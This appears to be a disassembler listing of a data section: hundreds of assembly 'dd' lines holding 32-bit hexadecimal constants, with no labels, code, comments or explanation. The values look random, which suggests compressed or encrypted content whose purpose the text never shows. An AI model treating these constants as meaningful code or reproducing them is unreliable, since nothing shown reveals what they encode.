		dd 1A508A61h, 1AEFC48h,	0B0AF294Bh, 888E8FA7h, 3D607B68h
		dd 2B10E7F3h, 26185E00h, 0CD07C49Ch, 0CC480181h, 93AD9F1Dh
		dd 789E2057h, 8E5EFE00h, 0FF1E8A2Eh, 3F1B00CAh,	6AC405B9h
		dd 5C0EE45Fh, 0DCE5A2h,	2DCDB039h, 4AE416h, 0D24B1F4Dh
		dd 3738B41Dh, 535BBF01h, 0B39B0D2Ch, 87EBC4h, 0B56E1362h
		dd 0A629B293h, 0F6815B00h, 91516B7Bh, 0BBF44Ah,	0DACA4771h
		dd 2DA0CDE4h, 79BE7A1Fh, 7B1AB907h, 2B80E0F0h, 0DF95005Bh
		dd 12A14238h, 4F03B89Ch, 0D2DE11BCh, 163CE861h,	252B0003h
		dd 0F9319AD5h, 0F3005999h, 3335D10Ch, 0B971B2h,	5E04F113h
		dd 831AACA3h, 0FB99D200h, 0D12E2742h, 6A6C00F6h, 7ACEB751h
		dd 4B012824h, 9816C1B2h, 0F0E82745h, 47F6D7h, 33A6038Dh
		dd 6E6FC2CFh, 0F3D60200h, 752E3ACAh, 0B440009Ah, 7A6884B9h
		dd 7B006116h, 2493FF86h, 0F8B8E2BFh, 0B2F60106h, 0EE91A35Ch
		dd 0AF80DCD5h, 0B6D4FA00h, 0FF311AD9h, 0FD600012h, 29ED7041h
		dd 0A300901Ch, 0A2B5912Bh, 0A35E5B7h, 5B085307h, 86F100A8h
		dd 961FBF1Bh, 9C08201h,	892C3EA5h, 0FCB230h, 0DA25F4FBh
		dd 7F2DEDE3h, 1C868003h, 80E08833h, 1CDD38F3h, 988B36h
		dd 0ECF4AFD9h, 180071EDh, 0AC17B8D6h, 1E5761h, 0BD77BEF2h
		dd 0CF5D0499h, 0C28F0C00h, 8D529E09h, 2AEA0014h, 41A58C65h
		dd 0A2F849A4h, 4F3BDB00h, 984E1974h, 0E8BD00DAh, 0B6BBBE25h
		dd 0B007368h, 94F8FDEEh, 5D3407h, 0E43DB85Bh, 7CF39F8Dh
		dd 60907A00h, 4935B38Eh, 4CAF00CBh, 3E93EE59h, 8900C1D0h
		dd 76967A0Eh, 8DB8B5h, 2A954F1Ah, 37D83E26h, 0E765AB00h
		dd 0C0141E72h, 4E53002Eh, 4F75559Bh, 0C90006ACh, 3D674A7Fh
		dd 0DDCE7Bh, 0B4744E66h, 0A1756527h, 2BBF9C07h,	0CE0AAF8Ch
		dd 0D1174900h, 0E83FC6C7h, 0A55D037Dh, 3379ECADh, 9D8CCD90h
		dd 8B09DB09h, 25DB80EEh, 36CA64h, 2DAEC2E0h, 3B68427h
		dd 0F6331000h, 5B0779C4h, 0D6B50094h, 18E09B9Dh, 0F095705Ah
		dd 0A16B00F0h, 1308C910h, 4702AFA8h, 0F09E8C2Ah, 0E0506322h
		dd 0E34E1B48h, 0EECEDF20h, 0E6580FA1h, 3820DAF5h, 0C7118AA7h
		dd 0DBA66A00h, 2F2064B5h, 5F820074h, 9E19CA89h,	0A013D487h
		dd 2500F1D9h, 0D02FBC7h, 5E123ECCh, 43351680h, 992B079Dh
		dd 76F4E009h, 0A0302E5Bh, 10FB7C17h, 24ADE26Ah,	74E8A6h
		dd 0FCF033D3h, 803AFA02h, 0FB51001Fh, 2E2A5B70h, 776603BCh
		dd 79ADBB5Fh, 83D78FD1h, 5CC04EA6h, 5D0E9142h, 1BCC70h
		dd 20B42952h, 7E80716Dh, 0B25E7A00h, 2C41AE8Dh,	146FA4Eh
		dd 52FECF37h, 0D0D9778Fh, 4300D293h, 1752C3Ch, 0E576C253h
		dd 63F4D560h, 9C2BB8A2h, 115BA0F0h, 74B9AB58h, 74F6AC0Bh
		dd 0CDBE80EBh, 710787h,	0EAB13F41h, 85DAF3D1h, 7C30D4Ch
		dd 4F63CD1Eh, 37E3FB50h, 7A25003Bh, 66789646h, 4E482BE2h
		dd 0CD57035Bh, 0C53755AEh, 21899807h, 84FA5FC0h, 76AC03FDh
		dd 38F023D3h, 88F92130h, 0F8ECFAB2h, 0B10CA0FBh, 0E8AE018Ch
		dd 0C316D250h, 0A944D06Eh, 0B428CDE0h, 0A5008431h, 2DEBE0C1h
		dd 4A5780h, 792269Ah, 0C95616F6h, 4C5D6A00h, 0F344AF58h
		dd 0AEC30028h, 0C15111A1h, 0EA7A10BDh, 15630C00h, 4B503C0Ah
		dd 54910075h, 0FA7B69B1h, 5F0093D9h, 5E183ADFh,	1AB0841h
		dd 0C734A49Ch, 0E4FE0BAFh, 1A0197C2h, 0F1C12999h, 0E2F0870Eh
		dd 71E0774Dh, 59650610h, 0D97A6418h, 5175B00h, 254BDAE5h
		dd 58CF0327h, 59982E5Ch, 30B70CA0h, 0A8A0CCECh,	0E9C0379Ah
		dd 0EFA90D58h, 9BF20B96h, 4780B5ADh, 0D2CD3034h, 0FBC6200h
		dd 1D387854h, 0CE81Bh, 989BCF8Ah, 5FDAD249h, 32818460h
		dd 7FF3A0h, 45DCFFAFh, 1B297E31h, 7A016278h, 0DD6C8B2h
		dd 0F870CDB8h, 7F540646h, 416EA9C4h, 28F6DF24h,	8940E99Ch
		dd 0C5AFDE57h, 4E25008Fh, 69A5ED1Eh, 0CF028C98h, 0C902693h
		dd 23809850h, 0F078ABh,	39D55ABCh, 0DC957319h, 2784C250h
		dd 0ADEC081Fh, 0C9CF9207h, 9ACD8500h, 78DA1E75h, 0DEFCC774h
		dd 152B3023h, 13308766h, 0F1D091F8h, 0A7B802F4h, 4DEE37B9h
		dd 607AD84Bh, 0B07B20Bh, 0C6220125h, 918682BEh,	28D814E4h
		dd 450F50F0h, 0A1D1E1C3h, 2A305947h, 0C0A3DE30h, 0EBF6C21h
		dd 8E00555Ah, 0E343FC91h, 6E8C665h, 39156D95h, 4439600Dh
		dd 8FA49F51h, 8D988907h, 83D32421h, 15B3E0h, 9091205Bh
		dd 6792F8FCh, 64EA050Eh, 4EFD0089h, 1DE10BF7h, 0CBF62h
		dd 726D796h, 27726332h,	0D366E500h, 0D85A490Ah,	0F7760113h
		dd 793BCCCAh, 69AFDC3Fh, 9C0040B0h, 0D6BC88FDh,	0A74C65h
		dd 0F790D04Fh, 6FFAED56h, 0B04DC0Fh, 0BBEF808Dh, 3A9D2C5h
		dd 3E3B20FBh, 57982BE9h, 0CE0E06B1h, 2F6C2h, 0E7F8A164h
		dd 0E09D3BD4h, 4B48EEB0h, 0F5003B2Ch, 0BE5C4FB0h, 853CCAh
		dd 9822B6EBh, 1D64D66Eh, 0D00050ECh, 0E85AEFA7h, 16B22Dh
		dd 0BCA02608h, 8DF99FFFh, 14344D00h, 3FB758E1h,	0C7C51C3Ah
		dd 59AEF4h, 352B9B04h, 4D3F880Ch, 0EAA98FEEh, 9DFE40C6h
		dd 4281F5h, 0F65411D2h,	99893DEFh, 0A71BB700h, 0D33358D4h
		dd 256100B9h, 386AB18Fh, 54040140h, 0C5C9C4FEh,	29F23FC0h
		dd 241F0389h, 13849DE3h, 0DECFD0E7h, 69007633h,	0DC3C2C6Fh
		dd 0FBA2979h, 0FB88F54Ch, 6254EC60h, 5F018959h,	0E38BFFC9h
		dd 0E6DCE5D2h, 94910049h, 0B52090F9h, 6000FBF5h, 89282978h
		dd 0B125675h, 4FC3477Fh, 5C46200h, 0B57C4C36h, 0C2A05700h
		dd 0E7D8A181h, 0F0472FE8h, 19002656h, 0E9DB8372h, 6058C9F8h
		dd 4A497180h, 643C538Ah
		dd 56A987E5h, 45701633h, 3FA50D2h, 0BE937A51h, 7FDCBB0h
		dd 2090D8F8h, 56D6446Eh, 0D317A00Eh, 0F003D7Dh,	0EDF0BDF1h
		dd 0F9C4006Ah, 784EE651h, 9CE027AAh, 0BBB1A201h, 0C2B81301h
		dd 0BD61F1CBh, 1DBDCE8h, 805B93C5h, 0ECFE8FD4h,	3E00B90Ch
		dd 0DCB3DFCFh, 0EDAFD3h, 6A01ADDh, 0B8993994h, 95640401h
		dd 8F51A8FBh, 38E581E0h, 0FF003ACBh, 21C093CEh,	0D000B078h
		dd 51D6FACCh, 0B8539E54h, 0E4F700E2h, 2A2DF267h, 6F00D88Ah
		dd 20582138h, 0F02230F5h, 0FBFE00D0h, 9EF1959Ch, 5BF256E2h
		dd 434C1B05h, 6840D132h, 0F7EF6BEDh, 59AF0257h,	4213E0A0h
		dd 0D9A28848h, 0D1056600h, 76B72BB4h, 4DB6001Fh, 9E9A28CBh
		dd 6600071Ah, 59345F8Eh, 23FB39Dh, 0A198FCEDh, 4EE0C431h
		dd 630080F8h, 11E18301h, 14470C1h, 0ABD7AEE2h, 0C4A07ED3h
		dd 310294F0h, 2BB002A4h, 6DE880FCh, 3A3C85AAh, 0CA04CE42h
		dd 80EC40C7h, 8B8D189Eh, 0CC0097F8h, 31AA7B3Eh,	16F012h
		dd 0F8B5F521h, 0FCC06CEAh, 300C7EF4h, 0D046C5EDh, 0D84D03BDh
		dd 727C386h, 20E2B798h,	0D04C178h, 0F8FD0FCFh, 9C953080h
		dd 71BA00A3h, 916D15F5h, 6E00F9FFh, 7BBCD2A0h, 0DA9375h
		dd 4845725Eh, 0A09B628h, 0CF00D7B0h, 0B4BF4BC6h, 3034739h
		dd 0B8FAE60Dh, 0C09501B7h, 14E5C4C3h, 75A113Eh,	0DAB0F3Ah
		dd 0C754602Eh, 7CDDD4Bh, 674928DCh, 27AFA085h, 3D0F74B0h
		dd 8EA46Ch, 246AD3Eh, 15E0007Ch, 7BAE2F0Ch, 0B2001629h
		dd 2A64D3EAh, 0B775BACh, 0B7A8341Bh, 5994005Dh,	4EDD10h
		dd 0C195084Dh, 49F2E862h, 7BA17800h, 7748E261h,	0A62F0066h
		dd 851E5569h, 1A037A12h, 0C7DADCA3h, 0D35FD0F2h, 0D3D09D17h
		dd 0F6905Ch, 476ED5C6h,	18B2158h, 0D19FE93Bh, 215C0645h
		dd 7153D948h, 80C30E5h,	0CF3D431Eh, 6271688Fh, 4066C5A7h
		dd 763A966Fh, 2D551744h, 7BD60017h, 0CC129F9Dh,	0BCAD700h
		dd 4510C8C6h, 1DC70FC4h, 4FA06E41h, 9CEB19E0h, 0EACD8007h
		dd 8B60D918h, 2422A5Ch,	284BEDEh, 0ECA06335h, 0E47CD138h
		dd 2B339F0Bh, 0E4858F75h, 1090773Dh, 0B4E8EFh, 0E5B151ECh
		dd 6A22453Bh, 19CF4B00h, 0A8AE8FA7h, 8621CE34h,	0FF648D61h
		dd 5B1080EBh, 0F28740E0h, 83461290h, 61D200C1h,	0AEED4C92h
		dd 25E3D400h, 0D85E678h, 26F61EA1h, 0FD53009Ch,	1AC0BE6Fh
		dd 70751726h, 0E2FA980h, 971B695h, 1B59E482h, 96769480h
		dd 56183FDEh, 8878E135h, 863A0087h, 0F5A66FA2h,	78006A14h
		dd 0E157A9C3h, 0B3BA56h, 21B04849h, 2A7EF14Bh, 0F6DC7C13h
		dd 9FCA00ABh, 9205F4E1h, 0F5B05C1Dh, 0FB49DD03h, 0AF77E082h
		dd 0BA7800A5h, 1127E825h, 0B13AAD2Ch, 6F0E80DBh, 0D0CD0A5Eh
		dd 15790082h, 1057BDB7h, 0DA0ECE88h, 0E03FA9E9h, 8B453CADh
		dd 0E318392Dh, 0AE23920Ah, 71350ECDh, 9D13BC80h, 80018B78h
		dd 0A13F4967h, 0D5D006F1h, 16D90BF7h, 7700E777h, 59F398DCh
		dd 22117307h, 24D12BB9h, 7046BDh, 6D0300B2h, 0A3E8337Bh
		dd 16E0CCC6h, 0FC0B8700h, 0B8228FFFh, 115104C3h, 4E6AB063h
		dd 6D73A01Dh, 0C174E4EDh, 0F379E262h, 0FC22F6h,	0C52B88D3h
		dd 5619082h, 34A6EBB3h,	9F2C9086h, 8EE2BD96h, 0C16F8507h
		dd 88E082D4h, 7627208h,	2750F0C0h, 4228E3AEh, 480033CBh
		dd 537B7C57h, 0A0DD095Ah, 0C3F5F8h, 0C89C2797h,	0ECC9EDB3h
		dd 1C876326h, 0D4BF6840h, 0F1AC3C8Eh, 437EAD9Dh, 0BAC8AAD8h
		dd 0F4AEF7C9h, 6F045CA9h, 8BD4A1EBh, 69DC6E80h,	608C6039h
		dd 0F471BEF8h, 0D2003092h, 3C6697C9h, 1F5E95F3h, 5AB654h
		dd 6574EC72h, 28DEFB64h, 0A22C4C00h, 18D3003h, 52C9753Bh
		dd 30F28549h, 0D1005E28h, 0C5A9580Ch, 0D03AFCh,	12E7ED03h
		dd 69C4DE94h, 535EC900h, 82BC45D3h, 10F50C9Ch, 7D89F7C0h
		dd 0ED47041Eh, 0CA691C3h, 6B70006Ah, 71B385E0h,	0DA001065h
		dd 51E2F438h, 1D789179h, 41560944h, 12E57CEDh, 87E0835Bh
		dd 0E6CE94Fh, 63441140h, 54704280h, 0C7E4958Ch,	0E3E23800h
		dd 90C5941Eh, 90B73CFh,	753E986Ah, 72B4DA00h, 0A800BF7Dh
		dd 3955F0E6h, 0F7CAE3h,	54470A34h, 2D12092Bh, 0F3F43E0Fh
		dd 0AD65E0C2h, 3CE1F86h, 331736BEh, 35C894FDh, 5B00FBA2h
		dd 0CC62255Dh, 0BFFB7D4h, 0A71E05E7h, 0E200F989h, 777E491Ah
		dd 61063907h, 7190517Fh, 56BF89h, 0FAF09137h, 6FCC9D30h
		dd 21DA7201h, 0A73EE201h, 144306F4h, 0A6D52633h, 7181400h
		dd 0C5B410A9h, 30755103h, 0C00DCB62h, 74B957h, 0FE5E99D2h
		dd 3879F57Eh, 59C3FD14h, 6E18009Ch, 8DCED081h, 43712EFBh
		dd 9F7F8024h, 8ED3F167h, 170AA71Fh, 0DCD6690Ah,	658C3780h
		dd 0FAEB32h, 0B2915ECFh, 0E4437B6Ch, 18F8DC30h,	3F07827h
		dd 44E65248h, 1DC0D347h, 0F4F18EF6h, 0F138D9C8h, 0EA412h
		dd 25815830h, 0FEB40085h, 84499BF2h, 717EC83Dh,	510079F0h
		dd 90F99969h, 3E3C757Fh, 530603A9h, 99E0A4E1h, 0D5734000h
		dd 80103D68h, 76AE58E6h, 0FADE9B00h, 0E577B6E9h, 0A003C430h
		dd 18F8B20Dh, 811E0E0Bh, 2D6074A6h, 0D6B1C459h,	36D1034Ah
		dd 8F5C75E2h, 0F6D1805h, 0FEC5ECh, 0D97E852h, 94A0F509h
		dd 78F0487Fh, 30AB9248h, 6825D924h, 0C181E855h,	3C27FD91h
		dd 0E13D10F9h, 0FAEC0F1Eh, 2900BADBh, 3B702091h, 59C4E9C4h
		dd 7459A36Dh, 0C040898Ah, 1BE1909h, 91957268h, 700769BEh
		dd 0C0A7F54Eh, 0C4259836h, 3DDC8E39h, 31E88412h, 0C003F82Eh
		dd 0AF981F50h, 8D33F4B4h, 0F6097Dh, 1F5B6021h, 120CAFDCh
		dd 0A4A8EAE4h, 65000B7Dh, 0A28F5A76h, 4DD664Eh,	15E68228h
		dd 9334C0B5h, 0DB30CAF9h, 0C6D5D1EFh, 723F011Ah, 6AE92DC4h
		dd 8D0892D4h, 0EAB24C0h, 2B3A021Dh, 44B10357h, 0C1F49EE3h
		dd 84208ED0h, 0DE72FB79h, 0E87FA8D0h, 607532E5h, 7060F2CEh
		dd 0B899FD30h, 0F1C05800h, 75CE914Dh, 0CC793222h, 0C0800408h
		dd 0EAC9B8F5h, 0FCFDDCF9h, 0AB68EB60h, 64818F15h, 60135103h
		dd 7D64EA99h, 70064391h, 0EA18608Ah, 98380061h,	0D95E6C8h
		dd 0D354E07Dh, 4099BBCh, 0FA2E15h, 0DE363824h, 1771008Bh
		dd 5FCDEFA1h, 0B50008D2h, 0E5EB6201h, 764E1B51h, 787200B0h
		dd 0F78AB1B2h, 3F004DFDh, 0AD373629h, 0D199E3h,	0D5867D5Bh
		dd 8FB61B67h, 2FD70900h, 910FA1D8h, 16F255h, 9DD0F8CEh
		dd 6C6E294Fh, 7CE20AC0h, 0D5D74Eh, 0EBA0DD5Fh, 4A34737Bh
		dd 0B7EE2903h, 0E0C68068h, 730349D3h, 90EEA7h, 4344F911h
		dd 5C0ED0E8h, 5B09CC07h, 0EE3FA801h, 6B498332h,	0BF291195h
		dd 0D7A11E9h, 0F1085721h, 284B949Ah, 5AD2AE08h,	809D7308h
		dd 0F6EF3AACh, 29C08744h, 0CF17A1F4h, 0EEE895h,	3C2BECCEh
		dd 831C9D1h, 9A050607h,	0F880CDDFh, 0B62CDDh, 0B25038FEh
		dd 0AB600F42h, 590C1D18h, 0F0C910h, 0DB64D471h,	0E650948Ch
		dd 65CBA007h, 8290BEC0h, 4C7B639Ah, 900151BCh, 5F6B98E7h
		dd 3873D8D0h, 0B1287F00h, 0FF075362h, 9E760079h, 0A046030Ah
		dd 7C000530h, 0F55ACDA6h, 75FADFC1h, 9B95004Bh,	2324DE82h
		dd 19E60D6Ch, 55843Fh, 9C04717Dh, 0F485B51Bh, 610500CAh
		dd 0C409321Ah, 2F008850h, 8FDB900Ch, 35C6D86h, 3C2EA7EBh
		dd 80B7B558h, 5DFC07A4h, 6DD13900h, 0E11C70E9h,	0DB7F78h
		dd 646FD02Fh, 512EB00Eh, 11FE27Bh, 2C06D8Eh, 0FCCB4489h
		dd 2C9D3E63h, 0B48C3F0Fh
		dd 0C35071Ch, 0A0D837F5h, 0A7044439h, 0A34FD000h, 944B6E24h
		dd 0C5AC0192h, 87F83175h, 0FB8080CAh, 1356F210h, 0C76100CEh
		dd 835B14B9h, 49389E37h, 0A92A01D3h, 0A70875E3h, 0E4EB71E8h
		dd 0B56C004Fh, 4162AB5Ch, 0F006B210h, 426D13D5h, 0A3EC0078h
		dd 516C7DC9h, 0BC002377h, 0CC5AF212h, 5C0CB0h, 6830E0A8h
		dd 0E6C5DDA1h, 0E1B7FB00h, 7993A988h, 0CEEF007Ah, 0CA3995F7h
		dd 0C80A20C0h, 0F4EB763Ah, 0C6A61700h, 17BA80Fh, 2AC2A7BEh
		dd 0D0476DC5h, 0BC009AC0h, 378C2514h, 85F17h, 34F0B95Eh
		dd 7132FE87h, 2C003AF8h, 221AF851h, 8A43DAh, 2D184A6h
		dd 39EB4677h, 8CB29A00h, 25546E16h, 35370099h, 921E26CCh
		dd 30005DF9h, 0E67F6AC9h, 245C0Dh, 6657C65Fh, 79A8CB78h
		dd 0A6F63518h, 83DF09h,	28339382h, 133E1BF0h, 232CA300h
		dd 857F88BFh, 7C61000Fh, 7B6BC21Ch, 0B703C079h,	8FE875B4h
		dd 5D27C07Ah, 0CE600DDh, 0D0E29153h, 0DB0CBC84h, 10B97C63h
		dd 0A4270976h, 900E6AE5h, 9F5CBFA3h, 202149E1h,	1E294094h
		dd 0B6038C9Eh, 0E806A57Dh, 686DBDh, 203D1B19h, 6450397Ah
		dd 8E536006h, 2EBA9DD5h, 934BA8h, 73E31D9Bh, 4C76AB96h
		dd 508B5A00h, 0E47D955Fh, 3C1F0F9Ah, 0BC474215h, 644D5382h
		dd 0FC983EE9h, 300A086h, 935E3ABh, 1E53138h, 0FB527AC2h
		dd 248CD0D5h, 6907531Ch, 79627E2Fh, 0CCE121D0h,	0EDCA07A2h
		dd 804B8ECFh, 93BADC05h, 0DBC2AA00h, 89C847BBh,	24774Ch
		dd 2D99EB53h, 0F0F31882h, 2C94D82Eh, 2CC1BF00h,	0A9F6Fh
		dd 0B63B606Dh, 6C93E832h, 9E390E60h, 2445AFh, 0BE03CCDFh
		dd 694EBAA0h, 2E791F00h, 0D2B0D9D0h, 0F8260078h, 0A2234A8Bh
		dd 0C500855Ch, 0FF4BA52Bh, 2DEA61Ah, 3AC9531Ch,	1BC02418h
		dd 0E40014D1h, 9239199Ch, 0BF50E1h, 1C32C4C0h, 4771DA8Ah
		dd 0A4774F00h, 64DF478h, 519000Ah, 0E72EF6D8h, 7B009B17h
		dd 2D59E282h, 1D45395h,	4005D021h, 305D3507h, 97001BFCh
		dd 4E69371Fh, 3C3E1822h, 4B812755h, 17132347h, 8308BAAFh
		dd 87B3566Ah, 3C888C54h, 23892C6h, 922B5AC3h, 0D58E9536h
		dd 44F3C2BCh, 7440FD8Fh, 800FE2Dh, 2B425267h, 0ACD6AFh
		dd 2C959E63h, 1E12749Ch, 0F2357302h, 606EF3E0h,	1335F7Ch
		dd 9D6461D2h, 4026A3B2h, 1A8FDFC4h, 0C9CBFBA0h,	0D217A90Fh
		dd 0F291A1A2h, 0EED8B02Dh, 9824000Fh, 5FDEF05Dh, 4E0019D5h
		dd 0B8C8879Dh, 0A96E26h, 17AF65EAh, 0F522642Dh,	8718CB14h
		dd 0D1A11E88h, 3E2A7C02h, 0DB42EDh, 0A800DE0h, 93E7009Bh
		dd 0ABFC8CB3h, 502254Fh, 0FD8FE55h, 0C09C683Ah,	249C7D78h
		dd 33CCE30h, 79F901F0h,	89A306F0h, 0ECB99226h, 2CFAB80h
		dd 1F05E21Fh, 83408433h, 9C4EBF7Dh, 15C8BDA3h, 3F1C45E8h
		dd 8F0408C6h, 30C2CB4Fh, 0EB21C18Ah, 0B03B5F70h, 0B7944890h
		dd 0D5446600h, 0D81E2FB1h, 0EF2B9500h, 536467BDh, 42850999h
		dd 0C787DB91h, 0EE9F1093h, 0BD72A1A6h, 5723A8C0h, 30CB06FFh
		dd 0B1090D6h, 9878D3E2h, 8CC5221Dh, 0B2BE3C40h,	7576EB0h
		dd 0BDE22E13h, 438DD0DCh, 8F0082C7h, 7E47FA36h,	76F2771h
		dd 0F528ACE7h, 0C11D6379h, 0E0EA4281h, 10E0368h, 0DF86992Eh
		dd 0CA012B5Ch, 14C7716Ch, 7FC1A444h, 0D6FC1EF2h, 38EE008Ch
		dd 5DBF7552h, 0CF00E8BDh, 0ED35C118h, 874083h, 812B0A76h
		dd 1E29708Dh, 0E8641902h, 605B0334h, 77BF251h, 0FC9B8580h
		dd 7061E7A4h, 9E0A8A08h, 0ED799107h, 54B0D8ABh,	163273h
		dd 18EF2FC7h, 3D69C433h, 81039138h, 47197A2Eh, 0D2FCC849h
		dd 0FAB700CCh, 0C92FBA37h, 0B600C218h, 0B9BF0A2Bh, 0B544FEh
		dd 40BF73Fh, 5615463Ah,	0A473D0Eh, 411E43A9h, 4328B095h
		dd 4FD80097h, 7ACEBAF1h, 11071B22h, 0CA21EA40h,	152810C1h
		dd 23DBD3h, 0D37D3210h,	0BC5317C2h, 0AE5834E0h,	734E8390h
		dd 880BB0A7h, 0B96C005Dh, 7DFF5295h, 9A01CD09h,	40B2896Fh
		dd 0E4EC2D4Fh, 77A54828h, 2E5D007Ch, 0D960D4AFh, 6D3B7803h
		dd 78272CF3h, 0E542003Dh, 2192431Eh, 81A601BEh,	8974B7CFh
		dd 7DF6C469h, 2F1F3800h, 0B6647E45h, 58820052h,	51FC95B2h
		dd 1500BC4Fh, 0A1981BE4h, 789F74h, 0CB599CCAh, 0BE13DE35h
		dd 2504F67Ch, 1267ED32h, 0A03016A1h, 0FE902Ch, 157FDF70h
		dd 564B973Fh, 64F49200h, 8DE2D55Bh, 0A58400EAh,	469F5449h
		dd 7F17303Ch, 0C60065C8h, 0E241B8F4h, 55870061h, 8CEC25B9h
		dd 0B312C3BEh, 680085ADh, 33B588ACh, 670500F9h,	0A3825DC9h
		dd 69F6E858h, 0DFDA851Fh, 0D82594C0h, 7DB0730Eh, 0F48675C9h
		dd 65512680h, 305A1967h, 0BE34D003h, 7B71C101h,	87AF4F49h
		dd 0E2AEC4h, 0BFE32927h, 1ADAEA0Ah, 30344207h, 4C0005C1h
		dd 398F0640h, 6D9D0338h, 5BA10EE1h, 0D9D1C00h, 5207F841h
		dd 885A6B46h, 4A559790h, 0B1730Eh, 49F3C083h, 0E5A7C34Eh
		dd 0C15B5A0Fh, 0C5360648h, 0BB0F00E8h, 0CC73B93Fh, 0EE18B00Ah
		dd 0E61007CDh, 77FB005Dh, 0B713A9A6h, 0F0C72A8Fh, 0C57099D6h
		dd 3D19D87Eh, 693F8006h, 0DCE8CC80h, 9809CBEAh,	86D66701h
		dd 5C260F31h, 85708840h, 0A0AE0055h, 226127C3h,	583E4F48h
		dd 9F57802Eh, 0D26EB138h, 810B00A6h, 8EEC2246h,	19734B86h
		dd 0F5007CFAh, 7D4DB9Ah, 2B61A18h, 3115A9A3h, 75C0A625h
		dd 0AC01C741h, 580F23CCh, 3BF45ABEh, 1A66386Fh,	240DB400h
		dd 676BB3E6h, 526C614h,	0A19600ACh, 84990E27h, 6D321C10h
		dd 0BC204049h, 0D71AEA5Fh, 0E3B59F00h, 0F0D84C45h, 67ADB07Dh
		dd 80C911C2h, 4A5EFEF1h, 7106ED80h, 981C0008h, 16405AB9h
		dd 7B5017A1h, 560AEBD0h, 98D683F9h, 0C8B33180h,	14ECA910h
		dd 0C6345C6Ch, 0C0E9241Ch, 0F29CEBE1h, 2307FF4Fh, 0BCEF5D2Bh
		dd 3FF74A50h, 7190A5h, 2D1B927h, 740F44EBh, 6B5F80Eh, 15C880FFh
		dd 2CCADBh, 0E1BD050Dh,	350A0F8Ch, 0D8006098h, 3FB19A6Eh
		dd 0EC193Eh, 2C697986h,	0C0B88BBBh, 0DFA0C81Dh,	0A8374D00h
		dd 0A28467h, 1A4EB98Eh,	45895E18h, 88F5E6C0h, 0EB7791h
		dd 0D6C724C4h, 204DE3FDh, 9794B00h, 0F0867A72h,	0F888003Ch
		dd 0D49DB5B6h, 6D3CF3FAh, 8F45000Eh, 5DA7DE92h,	107000CFh
		dd 0C652A50h, 0E57FE6B9h, 66687A03h, 0C017C199h, 9111A51h
		dd 0D98E6CFBh, 8291F300h, 0B9E60E65h, 3DEA5500h, 0DE52FDA1h
		dd 0D06F00C1h, 96C37B87h, 0C8059372h, 885725D1h, 0BD5A5880h
		dd 0F142008Bh, 80F531A7h, 5E6A0A2h, 9A736872h, 71309300h
		dd 74AC63FFh, 0A09C6FCEh, 9591B9A0h, 2E1DCDE5h,	0FB8376A6h
		dd 208D3E88h, 83009F29h, 2E02BB1Ah, 0E472C8h, 37A2FE89h
		dd 6B92AA5Fh, 0F00EA7F4h, 0A08C6C0Eh, 1DA4243Bh, 0DF600D5h
		dd 3BCD4C2h, 88004419h,	2FC6FD9h, 0A8493Ah, 577F82C4h
		dd 81CC0EEDh, 3E0DAA01h, 302AFA14h, 77858060h, 11D00071h
		dd 1F9980B8h, 3113AFC4h, 0B120392h, 0A4E15800h,	7EF1CE7h
		dd 0F6B76C3Bh, 2953806Bh, 6A00A781h, 0D8B4C2DDh, 0A0BDE1h
		dd 0BB12A852h, 6C143FB6h, 0B20B4900h, 53D7FEC2h, 7BFF779Ah
		dd 8590F7Ah, 96A10FCEh,	9D4B31CCh, 6940EF28h, 0A4E5C382h
		dd 0FC714AC0h, 0CFB300EAh, 0D335FA20h, 621D0002h, 0F9D4C126h
		dd 380016EBh, 0F18CE969h, 39E554h, 0DBB377AEh, 70BF4386h
		dd 0B2468403h, 80C7992Dh, 3FD424h, 0EFA937FCh, 46A187F4h
		dd 9A027700h
		dd 0B03C9DECh, 307B004Fh, 0CEDAA0D6h, 1E00725Bh, 0FEC9F639h
		dd 0FA7FB2h, 0B584EE8Dh, 0C17CE679h, 68A73C00h,	0D3E8DB1Ch
		dd 708B0C45h, 5D106C43h, 535E7D00h, 2325A37h, 6BC100B0h
		dd 62041EBCh, 39008AE1h, 8688D20Dh, 7E3842h, 2F6C5BBFh
		dd 999330B1h, 0DCACF500h, 19E85FF0h, 469E339Dh,	5AB06928h
		dd 0D800BE0Ch, 0E86A0EE0h, 2623B826h, 38B0562Ah, 0C7B3500h
		dd 8671BE18h, 0C33FAD00h, 0C91382F7h, 983950B4h, 7ED83B04h
		dd 0D243CC80h, 6D35876h, 2BB2839h, 95CFCD9Ch, 1876E8B9h
		dd 648209F1h, 8380D546h, 901D97B1h, 33D4BE16h, 65015700h
		dd 5A8687h, 96C135F0h, 5C126FE3h, 3F5C6674h, 6DC65038h
		dd 0B7C3C0BFh, 0C0800031h, 49A419A0h, 9206709Fh, 4FC1AABDh
		dd 4CD50FA4h, 5540223Fh, 54B01536h, 0A61A6700h,	0B974696Ah
		dd 1977564h, 0DE8E4DB7h, 609651ECh, 0CA073732h,	7F3A17DBh
		dd 0D03BE640h, 95270044h, 4A9A4F8h, 0C100474Eh,	0B87C2D30h
		dd 0D554E8h, 898CF080h,	3450780Fh, 2BEA7600h, 344746Ch
		dd 72C898DAh, 83B500DFh, 9C4E679Ah, 6B004996h, 4A292EFh
		dd 0D72B52h, 4D4CF21Eh,	0FB6242ADh, 0FFDAF13Eh,	29101C03h
		dd 489AAE2Fh, 0C064AE0h, 282A4273h, 3D0032F2h, 7B3352BFh
		dd 5D7581h, 0E4F9D583h,	0A9040AD4h, 8BF9400h, 63D0BDD1h
		dd 38E70C6h, 0AFAA15C2h, 99F8A67Eh, 0F009B17h, 0BDA30C21h
		dd 0E6E495C6h, 54B044h,	0DF16DD49h, 2999B992h, 0F4BA78C0h
		dd 3D95F170h, 0FD0091F9h, 0CE0775D0h, 48046E45h, 3A13368Eh
		dd 0DD960081h, 51EFC9E8h, 0CFF0D7D2h, 44AC0097h, 10BC18FBh
		dd 4FFE21D8h, 6E598C02h, 847F547Eh, 4780FAACh, 1C17E24Ah
		dd 9D865B05h, 53033BA0h, 631D527Dh, 1ECAFE98h, 9A972F00h
		dd 0F9684D5Fh, 6469028Ah, 4AC2BCB8h, 0B0CE2840h, 3A38BF75h
		dd 0F88000DDh, 775087E1h, 0AB353C56h, 4CD80101h, 45285B1Dh
		dd 4BA180F5h, 2674E031h, 56B11300h, 0F98AD996h,	0E9E703C4h
		dd 9FDC85FDh, 2EDA0800h, 4CBAC272h, 28AF01ACh, 1937E9E5h
		dd 34EFE4E6h, 2847D0B7h, 7AE4B516h, 11CB1F38h, 0ECE30036h
		dd 0EDD7F53Bh, 0DB0CC6B0h, 8DF4621h, 2F1800E2h,	2CF89A7Fh
